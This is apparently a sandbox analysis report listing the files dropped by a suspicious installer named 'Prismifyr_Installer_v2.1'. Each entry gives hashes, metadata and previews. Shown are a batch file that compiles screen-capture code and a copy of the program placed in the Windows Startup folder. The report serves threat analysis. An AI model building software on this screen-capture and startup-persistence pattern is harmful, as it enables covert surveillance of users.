Preview:	const exec = require('child_process').exec.const temp = require('temp').const path = require('path').const utils = require('../utils').const fs = require('fs').const os = require('os')..const {. readAndUnlinkP,. defaultAll.} = utils..function copyToTemp () {. const tmpBat = path.join(os.tmpdir(), 'screenCapture', 'screenCapture_1.3.2.bat'). const tmpManifest = path.join(os.tmpdir(), 'screenCapture', 'app.manifest'). const includeBat = path.join(__dirname, 'screenCapture_1.3.2.bat').replace('app.asar', 'app.asar.unpacked'). const includeManifest = path.join(__dirname, 'app.manifest').replace('app.asar', 'app.asar.unpacked'). if (!fs.existsSync(tmpBat)) {. const tmpDir = path.join(os.tmpdir(), 'screenCapture'). if (!fs.existsSync(tmpDir)) {. fs.mkdirSync(tmpDir). }. const sourceData = {. bat: fs.readFileSync(includeBat),. manifest: fs.readFileSync(includeManifest). }. fs.writeFileSync(tmpBat, sourceData.bat). fs.writeFileSync(tmpManifest, source

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\resources\app.asar.unpacked\node_modules\screenshot-desktop\lib\win32\screenCapture_1.3.2.bat

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	14246
Entropy (8bit):	4.755441316440423
Encrypted:	false
SSDEEP:	384:4cr8sEcBeIXxqXhQsBxf5oBLBfXQM8ybCpGW1KTM+:4KEcRQBTxWlPZxWpG+Qx
MD5:	DA0F40D84D72AE3E9324AD9A040A2E58
SHA1:	4CA7F6F90FB67DCE8470B67010AA19AA0FD6253F
SHA-256:	818350A4FB4146072A25F0467C5C99571C854D58BEC30330E7DB343BCECA008B
SHA-512:	30B7D4921F39C2601D94A3E3BB0E3BE79B4B7B505E52523D2562F2E2F32154D555A593DF87A71CDDB61B98403265F42E0D6705950B37A155DC1D64113C719FD9
Malicious:	false
Preview:	// 2>nul\|\|@goto :batch./.:batch.@echo off.setlocal enableDelayedExpansion..:: find csc.exe.set "csc=".for /r "%SystemRoot%\Microsoft.NET\Framework\" %%# in ("csc.exe") do set "csc=%%#"..if not exist "%csc%" (. echo no .net framework installed. exit /b 10.)..if not exist "%~n0.exe" (. call %csc% /nologo /r:"Microsoft.VisualBasic.dll" /win32manifest:"app.manifest" /out:"%~n0.exe" "%~dpsfnx0" \|\| (. exit /b !errorlevel!. ).).%~n0.exe %.endlocal & exit /b %errorlevel%../..// reference.// https://gallery.technet.microsoft.com/scriptcenter/eeff544a-f690-4f6b-a586-11eea6fc5eb8..using System;.using System.Runtime.InteropServices;.using System.Drawing;.using System.Drawing.Imaging;.using System.Collections.Generic;.using Microsoft.VisualBasic;..../// Provides functions to capture the entire screen, or a particular window, and save it to a file...public class ScreenCapture.{.. static String deviceName = "";. static Image capturedImage = null;.. /// Creates an Image obje

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\resources\app.asar.unpacked\node_modules\screenshot-desktop\package.json

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	696
Entropy (8bit):	4.674702516870425
Encrypted:	false
SSDEEP:	12:+HH1etJBTi6aVHJ0cIHEVaObmPMPLBoSb2yMPsBOPwUEiob24A:4H1et3TaHekVokz2P6RUEid7
MD5:	17A03CBB8922901E6AE5944F851B64C0
SHA1:	6D848E2BC6A3C13F92C2C973451CEFE1677CFBF7
SHA-256:	EE003BE425A3CE625C78491A6311A0F7654DA6A286892A2C035D0609B946415C
SHA-512:	1738B65A96210A0AA567CEBC1D499A9E23C56C1310DBA250CF13C2C8CE675E2648FF5A5C5E0DDE155D5D26F1C635BE78B31F5B2D3AA1171E04B1346FD43F10D5
Malicious:	false
Preview:	{. "name": "screenshot-desktop",. "version": "1.15.0",. "description": "Capture a screenshot of your local machine",. "main": "index.js",. "dependencies": {. "temp": "^0.9.4". },. "devDependencies": {. "ava": "^5.0.1",. "standard": "^17.0.0". },. "repository": {. "type": "git",. "url": "https://github.com/bencevans/screenshot-desktop.git". },. "author": "Ben Evans <ben@bensbit.co.uk> (https://bencevans.io)",. "license": "MIT",. "homepage": "https://github.com/bencevans/screenshot-desktop#readme",. "funding": [. {. "type": "github",. "url": "https://github.com/sponsors/bencevans". }. ],. "release": {. "branches": [. "main". ]. }.}

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\resources\app.asar.unpacked\node_modules\screenshot-desktop\test.js

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1897
Entropy (8bit):	4.891790062892244
Encrypted:	false
SSDEEP:	48:YkoS7YCFJQvyxt3J765w6hIit41A2M3Q/M3gaOVuPVM3Qsva7:TLsCr3Ju8i4jMA/MQPVuPVMAR
MD5:	17081F555FF4C8283F16A317C860B7B1
SHA1:	6AF3BD46505E6B6B28EDEE93069AAD8D849571D9
SHA-256:	B168CD32CB9FC6D1B4A61536B26E86536A876F23CA803B3EB0FB7F6B0EB5C059
SHA-512:	48CAA7971C267820C7D4A2AAAFA5C2819B2667E5D1A86FAE0A259307E453087031018A199D3420F17CA8F743E829628C995E8BF6DA637954725BDF94CBC48317
Malicious:	false
Preview:	const test = require('ava').const { path: tempPathSync } = require('temp').const { existsSync, unlinkSync } = require('fs').const screenshot = require('./')..test.before(async () => {. return screenshot.listDisplays().then(displays => {. console.log('Displays:', JSON.stringify(displays, null, 2), '\n'). }).})..test('screenshot', t => {. t.plan(1). return screenshot().then(img => {. t.truthy(Buffer.isBuffer(img)). }).})..function checkDisplays (t, displays) {. t.truthy(Array.isArray(displays)). displays.forEach(disp => {. t.truthy(disp.name). t.truthy(disp.id !== undefined). }).}..test('screenshot each display', t => {. if (screenshot.availableDisplays) {. return screenshot.availableDisplays().then(displays => {. checkDisplays(t, displays).. displays.forEach(display => {. screenshot(display.id). }). }). } else {. t.pass(). }.})..test('screenshot to a file', t => {. t.plan(1). const tmpName = tempPathSync({ suffix: '.jpg' }). retur

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\resources\elevate.exe

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	107520
Entropy (8bit):	6.442687067441468
Encrypted:	false
SSDEEP:	3072:1bLnrwQoRDtdMMgSXiFJWcIgUVCfRjV/GrWl:1PrwRhte1XsE1l
MD5:	792B92C8AD13C46F27C7CED0810694DF
SHA1:	D8D449B92DE20A57DF722DF46435BA4553ECC802
SHA-256:	9B1FBF0C11C520AE714AF8AA9AF12CFD48503EEDECD7398D8992EE94D1B4DC37
SHA-512:	6C247254DC18ED81213A978CCE2E321D6692848C64307097D2C43432A42F4F4F6D3CF22FB92610DFA8B7B16A5F1D94E9017CF64F88F2D08E79C0FE71A9121E40
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B..O..............h.......j.q.....k.....e......e......e.......zR........._...h......h.f.............h......Rich....................PE..L......W............................l........0....@.......................................@....................................P.......x.......................T.......p...............................@............0..$............................text............................... ..`.rdata...k...0...l..................@..@.data...............................@....gfids..............................@..@.rsrc...x...........................@..@.reloc..T...........................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\snapshot_blob.bin

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	313526
Entropy (8bit):	4.171463796711183
Encrypted:	false
SSDEEP:	3072:hgC8/wQXLwqHMp2ubdJbhlsN2CZz6ZU7A9Z9lYu1dVkoBzpLDTA:hgC8Xwqexre4awnG6s
MD5:	53363BB7CD528EA31C8814AD4762709E
SHA1:	9C0164AB60AD51BEAC9EA55637837DE010B9EEF1
SHA-256:	C3711BC03E5540F83F97F5B11250CFBBB4A85DCF245E989D2CE62D7CAC1D76FB
SHA-512:	D4B28DD51FE60A54918AEC1373501B51A29AA655E3D76A434FD6B6786A8CD5904CA17412A811BA1EB2922FF36F33714AC5AD08DC701DDADC32E86EC9EE5A1AE9
Malicious:	false
Preview:	...........R6..412.8.374.36-electron.0...........................................K..&...........<...`K....a........a........a2.......aj.......a2.......aN...............r.........2..............R..............r.........2........(Jb....Q.....@..F^.E..I.`.....(Jb...2U.....@..F^..`.....H...IDa........Db............D`.....A.D`.....D]D....Da..........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa............L.....................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\v8_context_snapshot.bin

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	665981
Entropy (8bit):	5.1711156365299775
Encrypted:	false
SSDEEP:	6144:hBUhye6gCsgwqexre4awBTGWDgH1Q1dhgXFUhxRg/4RpZqCaBygPEkknFmJA:hBUhye6gCoLGWD9q1xNCaBVEznFmJA
MD5:	C4FC645FD32EDAF0D55F751AA67B1F32
SHA1:	9C65E5AD2165FBE595D21C3389CB1305F38B762E
SHA-256:	B540AB0D1B5A45DE28E6E07183B0A18B526A100BE970817760BCB3D3DE421523
SHA-512:	3410AEF0310AEF8289907B6FD5831106CAC8F804543CB63478586A1AD47B4C30BAB4A620D81A4B30D32255174E0EF4C44B0C1FD50F65510329B42D8F1DE60254
Malicious:	false
Preview:	........#...)..B12.8.374.36-electron.0..........................................P....e.......P..........<........a........a........a........aj.......a2.......aN...............r.........2..............R..............r.........2........(Jb....Q.....@..F^.E..I.`.....(Jb...2U.....@..F^..`.....H...IDa........Db............D`.....A.D`.....D]D....Da..........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa............L.............................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\vk_swiftshader.dll

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5448704
Entropy (8bit):	6.33223199100096
Encrypted:	false
SSDEEP:	49152:iCG+XVpyPu0yb8pKePr1Avp4xC2JcLjX72xqiO9+O2Qx7D2ljQok9JxsUxBAJgsr:uiyPuvSlQlNxXV54FA
MD5:	C3CDB8F0F45400C1AAB15FDB327E8106
SHA1:	70255A55C71DB82128707064439D81E02324CBF0
SHA-256:	DE6ED5D5B7425AA9087BA97D2430CBE37C2EF3D6F1262E9186C9623D45412EE8
SHA-512:	A0FBCCCE96BC5CB1FF4640323E52C650E50D8704AED1964842543E7EEF37F8DF7F21112916BA8BB4198175BE8F2DF19CE4FAF527ED25CA4C387ED29DA478A9E9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f.........." ......A.........`p;.......................................T...........`A........................................8.N.......N.P.....T......@R..X............T....\|ON.....................`NN.(.....A.@.............N.8............................text.....A.......A................. ..`.rdata........A.......A.............@..@.data...H.....O......nO.............@....pdata...X...@R..Z....Q.............@..@.gxfg....-....S......hR.............@..@.retplne......S.......R..................tls....Y.....S.......R.............@..._RDATA........S.......R.............@..@.rsrc.........T.......R.............@..@.reloc.......T.......R.............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\vk_swiftshader_icd.json

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	106
Entropy (8bit):	4.724752649036734
Encrypted:	false
SSDEEP:	3:YD96WyV18tzsmyXLVi1rTVWSCwW2TJHzeZ18rY:Y8WyV18tAZLVmCwXFiZ18rY
MD5:	8642DD3A87E2DE6E991FAE08458E302B
SHA1:	9C06735C31CEC00600FD763A92F8112D085BD12A
SHA-256:	32D83FF113FEF532A9F97E0D2831F8656628AB1C99E9060F0332B1532839AFD9
SHA-512:	F5D37D1B45B006161E4CEFEEBBA1E33AF879A3A51D16EE3FF8C3968C0C36BBAFAE379BF9124C13310B77774C9CBB4FA53114E83F5B48B5314132736E5BB4496F
Malicious:	false
Preview:	{"file_format_version": "1.0.0", "ICD": {"library_path": ".\\vk_swiftshader.dll", "api_version": "1.0.5"}}

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\vulkan-1.dll

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	894976
Entropy (8bit):	6.606072951548216
Encrypted:	false
SSDEEP:	24576:7vBtBPY5xbcAl7iAP7u6Z5W1DYsHq6g3P0zAk7/BoxaKDz:7ZA+AdH7u6Z5W1DYsHq6g3P0zAk7+
MD5:	3F0D1C04A2CAA19204802C496C710ECB
SHA1:	484E6648F43B7AC1DFE4700FFFA50FFA61846DD0
SHA-256:	AF052AA866DB97D28D29EE9C348A17A20D545F61240862893B6B6282AB6C00A9
SHA-512:	3FF7243BA57CBE3A7B20764C0326373B5A4B2E77F0A211C2B7DBD4E568849D29F7902303AB129300A4BF42BDA94904E360B8348EE4FD132468E23BB9143E723E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f.........." .................W.......................................0............`A.........................................H..<!...i..P............@...b........... ..$....6.......................5..(.......@............n...............................text............................... ..`.rdata..T...........................@..@.data....L......."..................@....pdata...b...@...d..................@..@.gxfg....'.......(...h..............@..@.retplne.................................tls................................@..._RDATA..............................@..@.rsrc...............................@..@.reloc..$.... ......................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\SpiderBanner.dll

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	9216
Entropy (8bit):	5.5347224014600345
Encrypted:	false
SSDEEP:	192:5lkE3uqRI1y7/xcfK4PRef6gQzJyY1rpKlVrw:5lkMBI1y7UKcef6XzJrpKY
MD5:	17309E33B596BA3A5693B4D3E85CF8D7
SHA1:	7D361836CF53DF42021C7F2B148AEC9458818C01
SHA-256:	996A259E53CA18B89EC36D038C40148957C978C0FD600A268497D4C92F882A93
SHA-512:	1ABAC3CE4F2D5E4A635162E16CF9125E059BA1539F70086C2D71CD00D41A6E2A54D468E6F37792E55A822D7082FB388B8DFECC79B59226BBB047B7D28D44D298
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........N.../../../..Wy./../../....../..Wi./..Wx./..W~./..W{./..Rich./..................PE..L...T{mW...........!................p!.......0...............................p............@..........................5..o...l1..P....P.......................`.......................................................0...............................text............................... ..`.rdata.......0......................@..@.data........@......................@....rsrc........P......................@..@.reloc..d....`....... ..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\StdUtils.dll

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	102400
Entropy (8bit):	6.729923587623207
Encrypted:	false
SSDEEP:	3072:WNuZmJ9TDP3ahD2TF7Rq9cJNPhF9vyHf:WNuZ81zaAFHhF9v
MD5:	C6A6E03F77C313B267498515488C5740
SHA1:	3D49FC2784B9450962ED6B82B46E9C3C957D7C15
SHA-256:	B72E9013A6204E9F01076DC38DABBF30870D44DFC66962ADBF73619D4331601E
SHA-512:	9870C5879F7B72836805088079AD5BBAFCB59FC3D9127F2160D4EC3D6E88D3CC8EBE5A9F5D20A4720FE6407C1336EF10F33B2B9621BC587E930D4CBACF337803
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q....C...C...C...C...C...C...C...C...C...C...C...C...C.[.C...C.[.C...C.[.C...C.[.C...CRich...C........................PE..L...I..[...........!........b...............@.......................................+....@..........................}..d....t..........X............................................................................@...............................text....)......................... ..`.rdata..TC...@...D..................@..@.data...l............r..............@....rsrc...X............x..............@..@.reloc..j............~..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	5.719859767584478
Encrypted:	false
SSDEEP:	192:1enY0LWelt70elWjvfstJcVtwtYbjnIOg5AaDnbC7ypXhtIj:18PJlt70esj0Mt9vn6ay6
MD5:	0D7AD4F45DC6F5AA87F606D0331C6901
SHA1:	48DF0911F0484CBE2A8CDD5362140B63C41EE457
SHA-256:	3EB38AE99653A7DBC724132EE240F6E5C4AF4BFE7C01D31D23FAF373F9F2EACA
SHA-512:	C07DE7308CB54205E8BD703001A7FE4FD7796C9AC1B4BB330C77C872BF712B093645F40B80CE7127531FE6746A5B66E18EA073AB6A644934ABED9BB64126FEA9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L....~.\...........!....."...........).......@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text.... .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.....................@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\app-64.7z

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	7-zip archive data, version 0.4
Category:	dropped
Size (bytes):	97717470
Entropy (8bit):	7.999996512479899
Encrypted:	true
SSDEEP:	1572864:4/WnMbJr6Riuuogr2EgnzW/CKRa2mppLXAm28sas4LJnLWV5iB/LowOMhPMFCmLW:7M1r6R5i6E4zWI2mp1AYTTSuB/aMhPMa
MD5:	4398810E959DC6DEE01D13314AA644A2
SHA1:	3AEFDA9647614D442694C07889ABAB36EEF8C788
SHA-256:	6EDC538BA178D3B057076A43052424130D0D15BF432EDEE2AC8B4311791C51A3
SHA-512:	223FC982B27CD1D0CE26A84C231BDCE9AA1727937E4A341D07DA3289C772F51E6361E3E936BD44258D8DAAE484E550CAA51624E0416DE2D5BDED11822786A1F5
Malicious:	false
Preview:	7z..'......&........%........V....&..]...6....m#./.B11b....6...T$X.>2.......Ek5..g..0.U.....aD.....h.S..'...Q../...4.G.Q...j...ygUuv....>.Z."....... .......x/...0...w...U.&)9<.0.H.q7...j..0Y.,_.Q./{k5............5.h.r..%...w..`O.F%..sJ5.%....+^.M.!.@...-i-.1....J%i..6}kdO.j?k.V.........=.v...J.S.h.r.}x.Jg...!....Q.J....~@..w..........G..6.=...JN..KUGb.{}....4.Pje~....w.0.a..H).r....[7K..;.z..........zo.[aT....}.z.{.5..a\|M...8..8Q...J...x..<.....(.s...I... F..}..S.yE........F...D..v-.l9.^.4r...z..}b..V..S.{...\|m.O..{.\|....2..`F.."..4.......D..b..J.w...:...7..?q....a..?....['...Z.6t..7.j...H.V.,b.H/.W...2.y.LZ.].z.8.).. E.I.u.xj.i......1....GV....K.E9~H.S.(.5.MI9C.eG..o .,..u...a....w..QJy..A#..P.......]...<F.7...j..0"... ...;f?..u.I.5C#....\|.......Q.h..V.A..Ae....$\|..........cP.>....6wW...\|.....\.O...kw\..V.]$R&g....-...RV...)...;.....B...Fk.........Nw.(.h.YG.2.Ll..o`D....&.B...x...W.+v...j.sR].=...y.S..+kem4../*U)AK......G...:

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\nsExec.dll

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6656
Entropy (8bit):	5.155286976455086
Encrypted:	false
SSDEEP:
MD5:	EC0504E6B8A11D5AAD43B296BEEB84B2
SHA1:	91B5CE085130C8C7194D66B2439EC9E1C206497C
SHA-256:	5D9CEB1CE5F35AEA5F9E5A0C0EDEEEC04DFEFE0C77890C80C70E98209B58B962
SHA-512:	3F918F1B47E8A919CBE51EB17DC30ACC8CFC18E743A1BAE5B787D0DB7D26038DC1210BE98BF5BA3BE8D6ED896DBBD7AC3D13E66454A98B2A38C7E69DAD30BB57
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................,..................Rich...........PE..L....~.\...........!......................... ...............................P............@..........................$..l.... ..P............................@....................................................... ...............................text............................... ..`.rdata..L.... ......................@..@.data........0......................@....reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\nsis7z.dll

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	434176
Entropy (8bit):	6.584811966667578
Encrypted:	false
SSDEEP:
MD5:	80E44CE4895304C6A3A831310FBF8CD0
SHA1:	36BD49AE21C460BE5753A904B4501F1ABCA53508
SHA-256:	B393F05E8FF919EF071181050E1873C9A776E1A0AE8329AEFFF7007D0CADF592
SHA-512:	C8BA7B1F9113EAD23E993E74A48C4427AE3562C1F6D9910B2BBE6806C9107CF7D94BC7D204613E4743D0CD869E00DAFD4FB54AAD1E8ADB69C553F3B9E5BC64DF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......L.6a..X2..X2..X2m.[3..X2m.]3..X2Z.]3+.X2Z.\3..X2Z.[3..X2m.\3..X2m.Y3..X2..Y2..X2..\3#.X2..]3..X2..X3..X2...2..X2...2..X2..Z3..X2Rich..X2........PE..L.....\...........!......................... ...............................@............@..........................6.......7..d................................E.....................................@............ ...............................text............................... ..`.rdata..8"... ...$..................@..@.data........P... ...6..............@....rsrc................V..............@..@.reloc...E.......F...Z..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\screenCapture\CSCEE08CA83D7542AAB04A7698A66ECD4F.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	1076
Entropy (8bit):	4.218444908533655
Encrypted:	false
SSDEEP:
MD5:	A6F2D21624678F54A2ABED46E9F3AB17
SHA1:	A2A6F07684C79719007D434CBD1CD2164565734A
SHA-256:	AB96911D094B6070CBFB48E07407371DDB41B86E36628B6A10CDB11478192344
SHA-512:	0B286DF41C3887EECFF5C38CBD6818078313B555EF001151B41AC11B80466B2F4F39DA518AB9C51EEFF35295CB39D52824DE13E026C35270917D7274F764C676
Malicious:	false
Preview:	.... ...........................t...<...............0...........t.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...P.....I.n.t.e.r.n.a.l.N.a.m.e...s.c.r.e.e.n.C.a.p.t.u.r.e._.1...3...2...e.x.e...(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...X.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...s.c.r.e.e.n.C.a.p.t.u.r.e._.1...3...2...e.x.e...4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...^...............................<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0" xmlns:asmv3="urn:schemas-microsoft-com:asm.v3" >. <asmv3:application>. <asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">. <dpiAware>True/PM</dpiAw

C:\Users\user\AppData\Local\Temp\screenCapture\app.manifest

Download File

Process:	C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	350
Entropy (8bit):	4.888222365859566
Encrypted:	false
SSDEEP:
MD5:	8951565428AA6644F1505EDB592AB38F
SHA1:	9C4BEE78E7338F4F8B2C8B6C0E187F43CFE88BF2
SHA-256:	8814DB9E125D0C2B7489F8C7C3E95ADF41F992D4397ED718BDA8573CB8FB0E83
SHA-512:	7577BAD37B67BF13A0D7F9B8B7D6C077ECDFB81A5BEE94E06DC99E84CB20DB2D568F74D1BB2CEF906470B4F6859E00214BEACCA7D82E2B99126D27820BF3B8F5
Malicious:	false
Preview:	<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0" xmlns:asmv3="urn:schemas-microsoft-com:asm.v3" >. <asmv3:application>. <asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">. <dpiAware>True/PM</dpiAware>. </asmv3:windowsSettings>. </asmv3:application>.</assembly>

C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.bat

Download File

Process:	C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	14246
Entropy (8bit):	4.755441316440423
Encrypted:	false
SSDEEP:
MD5:	DA0F40D84D72AE3E9324AD9A040A2E58
SHA1:	4CA7F6F90FB67DCE8470B67010AA19AA0FD6253F
SHA-256:	818350A4FB4146072A25F0467C5C99571C854D58BEC30330E7DB343BCECA008B
SHA-512:	30B7D4921F39C2601D94A3E3BB0E3BE79B4B7B505E52523D2562F2E2F32154D555A593DF87A71CDDB61B98403265F42E0D6705950B37A155DC1D64113C719FD9
Malicious:	false
Preview:	// 2>nul\|\|@goto :batch./.:batch.@echo off.setlocal enableDelayedExpansion..:: find csc.exe.set "csc=".for /r "%SystemRoot%\Microsoft.NET\Framework\" %%# in ("csc.exe") do set "csc=%%#"..if not exist "%csc%" (. echo no .net framework installed. exit /b 10.)..if not exist "%~n0.exe" (. call %csc% /nologo /r:"Microsoft.VisualBasic.dll" /win32manifest:"app.manifest" /out:"%~n0.exe" "%~dpsfnx0" \|\| (. exit /b !errorlevel!. ).).%~n0.exe %.endlocal & exit /b %errorlevel%../..// reference.// https://gallery.technet.microsoft.com/scriptcenter/eeff544a-f690-4f6b-a586-11eea6fc5eb8..using System;.using System.Runtime.InteropServices;.using System.Drawing;.using System.Drawing.Imaging;.using System.Collections.Generic;.using Microsoft.VisualBasic;..../// Provides functions to capture the entire screen, or a particular window, and save it to a file...public class ScreenCapture.{.. static String deviceName = "";. static Image capturedImage = null;.. /// Creates an Image obje

C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	4.691342927371462
Encrypted:	false
SSDEEP:
MD5:	18CDE4CFC9C121CC421152F9F86AED6B
SHA1:	96ED7927ECC7A59B1E8B6C6051EB63D44C1C224B
SHA-256:	315FE17CD584B553F73DE41E6DD6A009CF7A7ED82CD660D443AB76B42DADD4AE
SHA-512:	FB9A4ABC70032E97148B225F543CF6D3E8CBD79D5545239B28E872330D559F13895E1CF9EE542D841CF1FE597BFC5C12EEEAA3668385FAB6ECE7D9607303A061
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....5.g.................(..........>G... ...`....@.. ....................................@..................................F..W....`..x............................................................................ ............... ..H............text...D'... ...(.................. ..`.rsrc...x....`.....................@..@.reloc...............0..............@..B................ G......H.......................................................................0............(....(.....+......0..L........~....r...po......-(.(.....~.........-..~.....+.r...p(.......(....(.....+...0..0.........(................(....&...(.......(....&..+...0.............{......{....Y...{......{....Y..(........(.......(..............{......{.... ...(....&...(....&.(....&.(.......(....&....+.......0............(........o........0............(........o........0...........(......

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Prismifyr_Installer_v2.1.exe

Download File

Process:	C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	modified
Size (bytes):	186389504
Entropy (8bit):	6.755948449281348
Encrypted:	false
SSDEEP:
MD5:	F90856B824B429A51D390C25F21C9683
